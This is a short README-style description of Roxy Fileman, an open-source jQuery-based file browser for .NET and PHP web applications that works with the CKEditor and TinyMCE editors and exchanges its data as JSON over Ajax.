Description
===============================================================
Roxy Fileman is free open source file browser for .NET and PHP, ready for
use with CKEditor and TinyMCE WYSIWYG html editors. It could be easily
integrated into a CMS or any other web application. Fileman is based on
JQuery and JQueryUI libraries and it's compatible with all modern browsers
- Internet Explorer, Firefox, Google Chrome, Safary and Opera.

Roxy Fileman is designed to be as flexible as possible. The client
interface is completely separated from the server-side logic and scripts,
thus can be used with any server programming language - PHP, ASP .NET,
Python, Cold Fusion etc. All data exchanged including configuration and
language files is in light weight JSON format. Great performance - all data
from the server is loaded using Ajax without page reloading. Fileman has
ready to use distributions for PHP and .NET. All client-server
communications and configuration files are in JSON format and are language
independent. See custom server side scripts.
